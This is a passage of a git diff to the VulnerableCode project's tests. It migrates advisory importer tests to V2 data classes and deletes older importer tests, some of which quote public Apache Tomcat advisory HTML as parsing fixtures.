b/vulnerabilities/tests/pipelines/v2_importers/test_oss_fuzz_v2.py index 40cf420d8..595c2a930 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_oss_fuzz_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_oss_fuzz_v2.py @@ -11,7 +11,6 @@ import pytest import yaml -from vulnerabilities.importer import AdvisoryData from vulnerabilities.pipelines.v2_importers.oss_fuzz import OSSFuzzImporterPipeline diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_pypa_importer_pipeline_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_pypa_importer_pipeline_v2.py index dfac6c2c9..3518a5c7b 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_pypa_importer_pipeline_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_pypa_importer_pipeline_v2.py @@ -88,7 +88,7 @@ def test_collect_advisories(mock_pathlib, mock_vcs_response, mock_fetch_via_vcs) # Mock `vcs_response.dest_dir` to point to the temporary directory mock_vcs_response.dest_dir = str(mock_pathlib.parent) - # Mock `parse_advisory_data` to return an AdvisoryData object + # Mock `parse_advisory_data` to return an AdvisoryDataV2 object with patch( "vulnerabilities.pipelines.v2_importers.pypa_importer.parse_advisory_data_v3" ) as mock_parse: diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_pysec_importer_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_pysec_importer_v2.py index 60ec34f88..57e25d8fc 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_pysec_importer_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_pysec_importer_v2.py @@ -78,7 +78,7 @@ def test_collect_advisories(mock_requests_get, mock_zip_data): # Fetch the zip data pipeline.fetch_zip() - # Mock the `parse_advisory_data_v2` function to return a dummy AdvisoryData + # Mock the `parse_advisory_data_v2` function to return a dummy AdvisoryDataV2 with patch( "vulnerabilities.pipelines.v2_importers.pysec_importer.parse_advisory_data_v3" ) as mock_parse: diff --git a/vulnerabilities/tests/pipelines/v2_importers/test_vulnrichment_importer_v2.py b/vulnerabilities/tests/pipelines/v2_importers/test_vulnrichment_importer_v2.py index 45f45550f..3931b70aa 100644 --- a/vulnerabilities/tests/pipelines/v2_importers/test_vulnrichment_importer_v2.py +++ b/vulnerabilities/tests/pipelines/v2_importers/test_vulnrichment_importer_v2.py @@ -99,7 +99,7 @@ def test_collect_advisories(mock_pathlib, mock_vcs_response, mock_fetch_via_vcs) # Mock `vcs_response.dest_dir` to point to the temporary directory mock_vcs_response.dest_dir = str(mock_pathlib.parent) - # Mock `parse_cve_advisory` to return an AdvisoryData object + # Mock `parse_cve_advisory` to return an AdvisoryDataV2 object with patch( "vulnerabilities.pipelines.v2_importers.vulnrichment_importer.VulnrichImporterPipeline.parse_cve_advisory" ) as mock_parse: diff --git a/vulnerabilities/tests/pipes/test_advisory.py b/vulnerabilities/tests/pipes/test_advisory.py index ad98e915a..6f80324cc 100644 --- a/vulnerabilities/tests/pipes/test_advisory.py +++ b/vulnerabilities/tests/pipes/test_advisory.py @@ -7,8 +7,6 @@ # See https://aboutcode.org for more information about nexB OSS projects. # -from datetime import datetime - import pytest from django.core.exceptions import ValidationError from django.test import TestCase @@ -16,13 +14,10 @@ from packageurl import PackageURL from univers.version_range import VersionRange -from vulnerabilities import models -from vulnerabilities.importer import AdvisoryData from vulnerabilities.importer import AdvisoryDataV2 -from vulnerabilities.importer import AffectedPackage from vulnerabilities.importer import AffectedPackageV2 from vulnerabilities.importer import PackageCommitPatchData -from vulnerabilities.importer import Reference +from vulnerabilities.importer import ReferenceV2 from vulnerabilities.models import AdvisoryAlias from vulnerabilities.models import AdvisoryReference from vulnerabilities.models import AdvisorySeverity @@ -34,123 +29,76 @@ from vulnerabilities.pipes.advisory import get_or_create_advisory_references from vulnerabilities.pipes.advisory import get_or_create_advisory_severities from vulnerabilities.pipes.advisory import get_or_create_advisory_weaknesses -from vulnerabilities.pipes.advisory import get_or_create_aliases -from vulnerabilities.pipes.advisory import import_advisory from vulnerabilities.pipes.advisory import insert_advisory_v2 from vulnerabilities.tests.pipelines import TestLogger -from vulnerabilities.utils import compute_content_id +from vulnerabilities.utils import compute_content_id_v2 class TestPipeAdvisory(TestCase): def setUp(self): - self.advisory_data1 = AdvisoryData( + self.logger = TestLogger() + self.advisory_data1 = AdvisoryDataV2( + advisory_id="CVE-2020-13371337", summary="vulnerability description here", affected_packages=[ - AffectedPackage( + AffectedPackageV2( package=PackageURL(type="pypi", name="dummy"), affected_version_range=VersionRange.from_string("vers:pypi/>=1.0.0|<=2.0.0"), ) ], - references=[Reference(url="https://example.com/with/more/info/CVE-2020-13371337")], + references=[ReferenceV2(url="https://example.com/with/more/info/CVE-2020-13371337")], date_published=timezone.now(), url="https://test.com", ) - def get_advisory1(self, created_by="test_pipeline"): - from vulnerabilities.pipes.advisory import insert_advisory - - return insert_advisory( - advisory=self.advisory_data1, - pipeline_id=created_by, - ) - - def get_all_vulnerability_relationships_objects(self): - return { - "vulnerabilities": list(models.Vulnerability.objects.all()), - "aliases": list(models.Alias.objects.all()), - "references": list(models.VulnerabilityReference.objects.all()), - "advisories": list(models.Advisory.objects.all()), - "packages": list(models.Package.objects.all()), - "references": list(models.VulnerabilityReference.objects.all()), - "severity": list(models.VulnerabilitySeverity.objects.all()), - } - - def test_vulnerability_pipes_importer_import_advisory(self): - advisory1 = self.get_advisory1(created_by="test_importer_pipeline") - import_advisory(advisory=advisory1, pipeline_id="test_importer_pipeline") - all_vulnerability_relation_objects = self.get_all_vulnerability_relationships_objects() - import_advisory(advisory=advisory1, pipeline_id="test_importer_pipeline") - assert ( - all_vulnerability_relation_objects == self.get_all_vulnerability_relationships_objects() - ) - - def test_vulnerability_pipes_importer_import_advisory_different_pipelines(self): - advisory1 = self.get_advisory1(created_by="test_importer_pipeline") - import_advisory(advisory=advisory1, pipeline_id="test_importer1_pipeline") - all_vulnerability_relation_objects = self.get_all_vulnerability_relationships_objects() - import_advisory(advisory=advisory1, pipeline_id="test_importer2_pipeline") - assert ( - all_vulnerability_relation_objects == self.get_all_vulnerability_relationships_objects() - ) - def test_vulnerability_pipes_get_or_create_aliases(self): aliases = ["CVE-TEST-123", "CVE-TEST-124"] - result_aliases_qs = get_or_create_aliases(aliases=aliases) - result_aliases = [i.alias for i in result_aliases_qs] - assert 2 == result_aliases_qs.count() - assert "CVE-TEST-123" in result_aliases - assert "CVE-TEST-124" in result_aliases + result_aliases = get_or_create_advisory_aliases(aliases=aliases) + result_alias_values = [i.alias for i in result_aliases] + assert 2 == len(result_aliases) + assert "CVE-TEST-123" in result_alias_values + assert "CVE-TEST-124" in result_alias_values def test_advisory_insert_without_url(self): with self.assertRaises(ValidationError): - date = datetime.now() - models.Advisory.objects.create( - unique_content_id=compute_content_id(advisory_data=self.advisory_data1), + AdvisoryV2( + advisory_id=self.advisory_data1.advisory_id, + avid=f"test/{self.advisory_data1.advisory_id}", + datasource_id="test", + pipeline_id="test_pipeline_v2", + unique_content_id=compute_content_id_v2(self.advisory_data1), summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) + ).full_clean() def test_advisory_insert_without_content_id(self): with self.assertRaises(ValidationError): - date = datetime.now() - models.Advisory.objects.create( + AdvisoryV2( + advisory_id=self.advisory_data1.advisory_id, + avid=f"test/{self.advisory_data1.advisory_id}", + datasource_id="test", + pipeline_id="test_pipeline_v2", url=self.advisory_data1.url, summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) + ).full_clean() def test_advisory_insert_no_duplicate_content_id(self): - date = datetime.now() - models.Advisory.objects.create( - unique_content_id=compute_content_id(advisory_data=self.advisory_data1), - url=self.advisory_data1.url, - summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", + insert_advisory_v2( + advisory=self.advisory_data1, + pipeline_id="test_pipeline_v2", + datasource_id="test", + logger=self.logger.write, ) with self.assertRaises(ValidationError): - models.Advisory.objects.create( - unique_content_id=compute_content_id(advisory_data=self.advisory_data1), - url=self.advisory_data1.url, + AdvisoryV2( + advisory_id="CVE-OTHER", + avid="test/CVE-OTHER", + datasource_id="test", + pipeline_id="test_pipeline_v2", + unique_content_id=compute_content_id_v2(self.advisory_data1), + url="https://other.example.com", summary=self.advisory_data1.summary, - affected_packages=[pkg.to_dict() for pkg in self.advisory_data1.affected_packages], - references=[ref.to_dict() for ref in self.advisory_data1.references], - date_imported=date, - date_collected=date, - created_by="test_pipeline", - ) + ).full_clean() @pytest.fixture @@ -161,10 +109,10 @@ def advisory_aliases(): @pytest.fixture def advisory_references(): return [ - Reference(reference_id="REF-1", url="https://example.com/advisory/1"), - Reference(reference_id="REF-2", url="https://example.com/advisory/2"), - Reference(reference_id="", url="https://example.com/advisory/3"), - Reference(url="https://example.com/advisory/4"), + ReferenceV2(reference_id="REF-1", url="https://example.com/advisory/1"), + ReferenceV2(reference_id="REF-2", url="https://example.com/advisory/2"), + ReferenceV2(reference_id="", url="https://example.com/advisory/3"), + ReferenceV2(url="https://example.com/advisory/4"), ] diff --git a/vulnerabilities/tests/test_add_cvsssv31.py b/vulnerabilities/tests/test_add_cvsssv31.py deleted file mode 100644 index 7116ad456..000000000 --- a/vulnerabilities/tests/test_add_cvsssv31.py +++ /dev/null @@ -1,67 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - - -from django.test import TestCase - -from vulnerabilities.models import Advisory -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.pipelines.add_cvss31_to_CVEs import CVEAdvisoryMappingPipeline -from vulnerabilities.pipes.advisory import get_or_create_aliases -from vulnerabilities.severity_systems import CVSSV3 -from vulnerabilities.severity_systems import CVSSV31 - - -class TestCVEAdvisoryMappingPipeline(TestCase): - def setUp(self): - self.pipeline = CVEAdvisoryMappingPipeline() - advisory = Advisory.objects.create( - created_by="nvd_importer", - unique_content_id="test-unique-content-id", - url="https://nvd.nist.gov/vuln/detail/CVE-2024-1234", - references=[ - { - "severities": [ - { - "system": "cvssv3.1", - "value": "7.5", - "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", - } - ], - "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1234", - "reference_id": "CVE-2024-1234", - "reference_type": "cve", - } - ], - date_collected="2024-09-27T19:38:00Z", - ) - advisory.aliases.add(*get_or_create_aliases(["CVE-2024-1234"])) - - vuln = Vulnerability.objects.create(vulnerability_id="CVE-2024-1234") - sev = VulnerabilitySeverity.objects.create( - scoring_system=CVSSV3.identifier, - url="https://nvd.nist.gov/vuln/detail/CVE-2024-1234", - value="7.5", - scoring_elements="CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", - ) - vuln.severities.add(sev) - - def test_process_cve_advisory_mapping_single_record(self): - self.pipeline.process_cve_advisory_mapping() - self.assertEqual(VulnerabilitySeverity.objects.count(), 2) - # check if severity with cvssv3.1 is created - sev = VulnerabilitySeverity.objects.get(scoring_system=CVSSV31.identifier) - self.assertEqual(sev.url, "https://nvd.nist.gov/vuln/detail/CVE-2024-1234") - self.assertEqual(sev.value, "7.5") - self.assertEqual(sev.scoring_elements, "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N") - # check if severity is added to existing vulnerability - vuln = Vulnerability.objects.get(vulnerability_id="CVE-2024-1234") - self.assertEqual(vuln.severities.count(), 2) - self.assertIn(sev, vuln.severities.all()) diff --git a/vulnerabilities/tests/test_affected_package.py b/vulnerabilities/tests/test_affected_package.py deleted file mode 100644 index f56551d65..000000000 --- a/vulnerabilities/tests/test_affected_package.py +++ /dev/null @@ -1,100 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import pytest -from packageurl import PackageURL -from univers.version_constraint import VersionConstraint -from univers.version_range import GemVersionRange -from univers.versions import RubygemsVersion - -from vulnerabilities.importer import AffectedPackage -from vulnerabilities.importer import NoAffectedPackages -from vulnerabilities.importer import UnMergeablePackageError - - -def test_affected_package_merge_fail(): - with pytest.raises(UnMergeablePackageError): - AffectedPackage.merge( - [ - AffectedPackage( - package=PackageURL(type="gem", name="foo"), - fixed_version=RubygemsVersion(string="5.2.8.1"), - affected_version_range=GemVersionRange( - constraints=( - VersionConstraint( - comparator=">=", version=RubygemsVersion(string="5.2.0") - ), - VersionConstraint( - comparator="<=", version=RubygemsVersion(string="5.2.6.2") - ), - ) - ), - ), - AffectedPackage(package=PackageURL(type="npm", name="bar"), fixed_version="1.0.0"), - ] - ) - - -def test_affected_package_merge(): - result = AffectedPackage.merge( - [ - AffectedPackage( - package=PackageURL(type="npm", name="foo"), - fixed_version="1.0.0", - affected_version_range=GemVersionRange( - constraints=( - VersionConstraint(comparator=">=", version=RubygemsVersion(string="5.2.0")), - VersionConstraint( - comparator="<=", version=RubygemsVersion(string="5.2.6.2") - ), - ) - ), - ), - AffectedPackage(package=PackageURL(type="npm", name="foo"), fixed_version="2.0.0"), - AffectedPackage( - package=PackageURL(type="npm", name="foo"), - affected_version_range=GemVersionRange( - constraints=( - VersionConstraint( - comparator=">=", version=RubygemsVersion(string="10.2.0") - ), - VersionConstraint( - comparator="<=", version=RubygemsVersion(string="10.5.0") - ), - ) - ), - ), - ] - ) - expected = ( - PackageURL( - type="npm", namespace=None, name="foo", version=None, qualifiers={}, subpath=None - ), - [ - GemVersionRange( - constraints=( - VersionConstraint(comparator=">=", version=RubygemsVersion(string="5.2.0")), - VersionConstraint(comparator="<=", version=RubygemsVersion(string="5.2.6.2")), - ) - ), - GemVersionRange( - constraints=( - VersionConstraint(comparator=">=", version=RubygemsVersion(string="10.2.0")), - VersionConstraint(comparator="<=", version=RubygemsVersion(string="10.5.0")), - ) - ), - ], - ["1.0.0", "2.0.0"], - ) - assert expected == result - - -def test_affected_package_merge_empty_list(): - with pytest.raises(NoAffectedPackages): - AffectedPackage.merge([]) diff --git a/vulnerabilities/tests/test_altcha_protection.py b/vulnerabilities/tests/test_altcha_protection.py index 19a71212a..e326124ce 100644 --- a/vulnerabilities/tests/test_altcha_protection.py +++ b/vulnerabilities/tests/test_altcha_protection.py @@ -14,14 +14,16 @@ from vulnerabilities.forms import AltchaForm +PROTECTED_SEARCH_URL = "/packages/v2/search/" + @pytest.mark.django_db class TestAltchaProtectionMiddleware: def test_protected_url_redirects_without_session(self, client): - response = client.get("/packages/search/") + response = client.get(PROTECTED_SEARCH_URL) assert response.status_code == 302 - assert response.url == "/altcha/?next=%2Fpackages%2Fsearch%2F" + assert response.url == "/altcha/?next=%2Fpackages%2Fv2%2Fsearch%2F" def test_unprotected_url_is_accessible(self, client): response = client.get("/") @@ -33,7 +35,7 @@ def test_protected_url_allowed_with_valid_session(self, client): session["altcha_verified_at"] = time.time() session.save() - response = client.get("/packages/search/") + response = client.get(PROTECTED_SEARCH_URL) assert response.status_code != 302 @@ -43,17 +45,17 @@ def test_expired_session_redirects(self, client): session["altcha_verified_at"] = time.time() - 3601 session.save() - response = client.get("/packages/search/") + response = client.get(PROTECTED_SEARCH_URL) assert response.status_code == 302 - assert response.url == "/altcha/?next=%2Fpackages%2Fsearch%2F" + assert response.url == "/altcha/?next=%2Fpackages%2Fv2%2Fsearch%2F" def test_expired_session_is_removed(self, client): session = client.session session["altcha_verified_at"] = time.time() - 3601 session.save() - client.get("/packages/search/") + client.get(PROTECTED_SEARCH_URL) session = client.session assert "altcha_verified_at" not in session diff --git a/vulnerabilities/tests/test_apache_httpd.py b/vulnerabilities/tests/test_apache_httpd.py deleted file mode 100644 index 853eafbd0..000000000 --- a/vulnerabilities/tests/test_apache_httpd.py +++ /dev/null @@ -1,143 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from unittest import mock - -import pytest -from univers.version_constraint import VersionConstraint -from univers.version_range import ApacheVersionRange -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.apache_httpd import ApacheHTTPDImporter -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import ApacheHTTPDImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/apache_httpd") - - -def test_to_version_ranges(): - data = [ - { - "version_affected": "?=", - "version_value": "1.3.0", - }, - { - "version_affected": "=", - "version_value": "1.3.1", - }, - { - "version_affected": "<=", - "version_value": "2.3.4", - }, - ] - fixed_versions = ["1.3.2"] - affected_version_range = ApacheHTTPDImporter().to_version_ranges(data, fixed_versions) - - assert ( - ApacheVersionRange( - constraints=( - VersionConstraint(comparator="=", version=SemverVersion(string="1.3.1")), - VersionConstraint(comparator="<=", version=SemverVersion(string="2.3.4")), - VersionConstraint(comparator="!=", version=SemverVersion(string="1.3.2")), - ) - ) - == affected_version_range - ) - - -def unknown_comparator(): - data = [ - { - "version_affected": "?=", - "version_value": "1.3.0", - }, - { - "version_affected": "=", - "version_value": "1.3.1", - }, - { - "version_affected": "#=", - "version_value": "2.3.4", - }, - ] - fixed_versions = ["1.3.2"] - affected_version_range = ApacheHTTPDImporter().to_version_ranges(data, fixed_versions) - - -def test_unknown_comparator_exception(): - with pytest.raises(ValueError) as excinfo: - unknown_comparator() - - assert "unknown comparator found! #=" in str(excinfo.value) - - -def test_to_advisory_CVE_1999_1199(): - with open(os.path.join(TEST_DATA, "CVE-1999-1199.json")) as f: - data = json.load(f) - - advisories = ApacheHTTPDImporter().to_advisory(data) - result = advisories.to_dict() - expected_file = os.path.join(TEST_DATA, f"CVE-1999-1199-apache-httpd-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def test_to_advisory_CVE_2021_44224(): - with open(os.path.join(TEST_DATA, "CVE-2021-44224.json")) as f: - data = json.load(f) - - advisories = ApacheHTTPDImporter().to_advisory(data) - result = advisories.to_dict() - expected_file = os.path.join(TEST_DATA, f"CVE-2021-44224-apache-httpd-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def test_to_advisory_CVE_2017_9798(): - with open(os.path.join(TEST_DATA, "CVE-2017-9798.json")) as f: - data = json.load(f) - - advisories = ApacheHTTPDImporter().to_advisory(data) - result = advisories.to_dict() - expected_file = os.path.join(TEST_DATA, f"CVE-2017-9798-apache-httpd-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def test_to_advisory_CVE_2022_28614(): - with open(os.path.join(TEST_DATA, "CVE-2022-28614.json")) as f: - data = json.load(f) - - advisories = ApacheHTTPDImporter().to_advisory(data) - result = advisories.to_dict() - expected_file = os.path.join(TEST_DATA, f"CVE-2022-28614-apache-httpd-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -@mock.patch("vulnerabilities.improvers.valid_versions.ApacheHTTPDImprover.get_package_versions") -def test_apache_httpd_improver(mock_response): - advisory_file = os.path.join(TEST_DATA, f"CVE-2021-44224-apache-httpd-expected.json") - expected_file = os.path.join(TEST_DATA, f"apache-httpd-improver-expected.json") - with open(advisory_file) as exp: - advisory = AdvisoryData.from_dict(json.load(exp)) - mock_response.return_value = [ - "2.4.8", - "2.4.9", - "2.4.10", - "2.4.53", - "2.4.54", - ] - improvers = [ApacheHTTPDImprover(), DefaultImprover()] - result = [] - for improver in improvers: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - util_tests.check_results_against_json(result, expected_file) diff --git a/vulnerabilities/tests/test_apache_kafka.py b/vulnerabilities/tests/test_apache_kafka.py deleted file mode 100644 index 92c76c7b1..000000000 --- a/vulnerabilities/tests/test_apache_kafka.py +++ /dev/null @@ -1,81 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from unittest.mock import patch - -import pytest - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.apache_kafka import ApacheKafkaImporter -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import ApacheKafkaImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) - -TEST_DATA = os.path.join( - BASE_DIR, - "test_data/apache_kafka", -) - - -def test_to_advisory(): - with open(os.path.join(TEST_DATA, "cve-list-2022-12-06.html")) as f: - raw_data = f.read() - advisories = ApacheKafkaImporter().to_advisory(raw_data) - result = [data.to_dict() for data in advisories] - - expected_file = os.path.join(TEST_DATA, f"to-advisory-apache_kafka-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -@patch("vulnerabilities.improvers.valid_versions.ApacheKafkaImprover.get_package_versions") -def test_apache_tomcat_improver(mock_response): - advisory_file = os.path.join(TEST_DATA, f"to-advisory-apache_kafka-expected.json") - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [ApacheKafkaImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DATA, f"apache-kafka-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def to_advisory_changed_cve(): - with open(os.path.join(TEST_DATA, "cve-list-changed-cve.html")) as f: - raw_data = f.read() - advisories = ApacheKafkaImporter().to_advisory(raw_data) - - -def to_advisory_changed_versions_affected(): - with open(os.path.join(TEST_DATA, "cve-list-changed-versions-affected.html")) as f: - raw_data = f.read() - advisories = ApacheKafkaImporter().to_advisory(raw_data) - - -def to_advisory_changed_fixed_versions(): - with open(os.path.join(TEST_DATA, "cve-list-changed-fixed-versions.html")) as f: - raw_data = f.read() - advisories = ApacheKafkaImporter().to_advisory(raw_data) diff --git a/vulnerabilities/tests/test_apache_tomcat.py b/vulnerabilities/tests/test_apache_tomcat.py deleted file mode 100644 index 51d33634f..000000000 --- a/vulnerabilities/tests/test_apache_tomcat.py +++ /dev/null @@ -1,424 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import json -import os -from unittest.mock import patch - -from univers.version_constraint import VersionConstraint -from univers.version_range import ApacheVersionRange -from univers.version_range import MavenVersionRange -from univers.versions import MavenVersion -from univers.versions import SemverVersion - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importers.apache_tomcat import ApacheTomcatImporter -from vulnerabilities.importers.apache_tomcat import extract_tomcat_advisory_data_from_page -from vulnerabilities.importers.apache_tomcat import to_version_ranges_apache -from vulnerabilities.importers.apache_tomcat import to_version_ranges_maven -from vulnerabilities.improvers.default import DefaultImprover -from vulnerabilities.improvers.valid_versions import ApacheTomcatImprover -from vulnerabilities.tests import util_tests - -BASE_DIR = os.path.dirname(os.path.abspath(__file__)) -TEST_DATA = os.path.join(BASE_DIR, "test_data/apache_tomcat") - - -def test_method_extract_advisories_from_page(): - with open(os.path.join(TEST_DATA, "apache_tomcat-selected-advisories.html")) as f: - raw_data = f.read() - extracted_advisories = ApacheTomcatImporter().extract_advisories_from_page( - "https://test.com", raw_data - ) - - results = [adv.to_dict() for adv in extracted_advisories] - - expected_file = os.path.join( - TEST_DATA, f"parse-apache_tomcat-selected-advisories-expected.json" - ) - util_tests.check_results_against_json(results, expected_file) - - -@patch("vulnerabilities.improvers.valid_versions.ApacheTomcatImprover.get_package_versions") -def test_apache_tomcat_improver(mock_response): - advisory_file = os.path.join( - TEST_DATA, f"parse-apache_tomcat-selected-advisories-expected.json" - ) - with open(advisory_file) as exp: - advisories = [AdvisoryData.from_dict(adv) for adv in (json.load(exp))] - mock_response.return_value = [ - "1.1.0", - "1.1.1", - "1.1.2", - "1.1.3", - "1.1.4", - "1.1.5", - "1.1.6", - "1.1.7", - "1.1.8", - ] - improvers = [ApacheTomcatImprover(), DefaultImprover()] - result = [] - for improver in improvers: - for advisory in advisories: - inference = [data.to_dict() for data in improver.get_inferences(advisory)] - result.extend(inference) - expected_file = os.path.join(TEST_DATA, f"apache-tomcat-improver-expected.json") - util_tests.check_results_against_json(result, expected_file) - - -def test_extract_advisories_from_page(): - page = """ -

    6 April 2021 Fixed in Apache Tomcat 10.0.5

    - -

    Important: Denial of Service - CVE-2021-30639

    - -

    An error introduced as part of a change to improve error handling.

    - Applications that do not use non-blocking I/O are not exposed to this vulnerability. - -

    This was fixed with commit - b59099e4.

    - -

    This issue was reported publicly as 65203.

    - -

    Affects: 10.0.3 to 10.0.4

    - -
    - """ - - expected = [ - { - "advisory_groups": [ - [ - "

    Important: Denial of Service\n" - "CVE-2021-30639

    ', - "

    An error introduced as part of a change to improve " "error handling.

    ", - "Applications that do not use non-blocking I/O are " - "not exposed to this vulnerability.", - "

    This was fixed with commit\n" - " b59099e4.

    ', - "

    This issue was reported publicly as 65203.

    ', - "

    Affects: 10.0.3 to 10.0.4

    ", - ] - ], - "fixed_versions": ["10.0.5"], - }, - ] - results = extract_tomcat_advisory_data_from_page(page) - results = [d.to_dict() for d in results] - assert results == expected - - -def test_extract_advisories_from_page_with_multiple_groups(): - page = """ -

    2 February 2021 Fixed in Apache Tomcat 10.0.2

    - -

    Note: The issues below were fixed in Apache Tomcat 10.0.1 but the - release vote for the 10.0.1 release candidate did not pass. Therefore, - although users must download 10.0.2 to obtain a version that includes a - fix for these issues, version 10.0.1 is not included in the list of - affected versions.

    - -

    Low: Fix for CVE-2020-9484 was incomplete - CVE-2021-25329

    - -

    The fix for CVE-2020-9484 was incomplete. When using a - highly unlikely configuration edge case, the Tomcat instance was still - vulnerable to CVE-2020-9484. Note that both the previously - published prerequisites for CVE-2020-9484 and the previously - published non-upgrade mitigations for CVE-2020-9484 also apply to - this issue.

    - -

    This was fixed with commit - 6d66e99e.

    - -

    This issue was reported to the Apache Tomcat Security team by Trung Pham - of Viettel Cyber Security on 12 January 2021. The issue was made public - on 1 March 2021.

    - -

    Affects: 10.0.0-M1 to 10.0.0

    - -

    Important: Request mix-up with h2c - CVE-2021-25122

    - -

    When responding to new h2c connection requests, Apache Tomcat could - duplicate request headers and a limited amount of request body from one - request to another meaning user A and user B could both see the results of - user A's request.

    - -

    This was fixed with commit - dd757c0a.

    - -

    This issue was identified by the Apache Tomcat Security team on 11 - January 2021. The issue was made public on 1 March 2021.

    - -

    Affects: 10.0.0-M1 to 10.0.0

    - -

    17 November 2020 Fixed in Apache Tomcat 10.0.0-M10

    - -

    Important: Information disclosure - CVE-2021-24122

    - -

    When serving resources from a network location using the NTFS file system - it was possible to bypass security constraints and/or view the source - code for JSPs in some configurations. The root cause was the unexpected - behaviour of the JRE API File.getCanonicalPath() which in - turn was caused by the inconsistent behaviour of the Windows API - (FindFirstFileW) in some circumstances. -

    - -

    This was fixed with commit - 7f004ac4.

    - -

    This issue was reported the Apache Tomcat Security team by Ilja Brander - on 26 October 2020. The issue was made public on 14 January 2021.

    - -

    Affects: 10.0.0-M1 to 10.0.0-M9

    - -

    Moderate: HTTP/2 request header mix-up - CVE-2020-17527

    - -

    While investigating issue 64830 it was discovered that Apache - Tomcat could re-use an HTTP request header value from the previous stream - received on an HTTP/2 connection for the request associated with the - subsequent stream. While this would most likely lead to an error and the - closure of the HTTP/2 connection, it is possible that information could - leak between requests. -

    - -

    This was fixed with commit - 8d2fe689.

    - -

    This issue was identified by the Apache Tomcat Security team on 10 - November 2020. The issue was made public on 3 December 2020.

    - -

    Affects: 10.0.0-M1 to 10.0.0-M9

    - -
    - """ - - expected = [ - { - "advisory_groups": [ - [ - "

    Low: Fix for CVE-2020-9484 was ' - "incomplete\n" - "CVE-2021-25329

    ', - "

    The fix for CVE-2020-9484 was incomplete. When ' - "using a\n" - " highly unlikely configuration edge case, the " - "Tomcat instance was still\n" - " vulnerable to CVE-2020-9484. Note that both the ' - "previously\n" - " published prerequisites for CVE-2020-9484 and the previously\n' - " published non-upgrade mitigations for CVE-2020-9484 also apply to\n' - " this issue.

    ", - "

    This was fixed with commit\n" - " 6d66e99e.

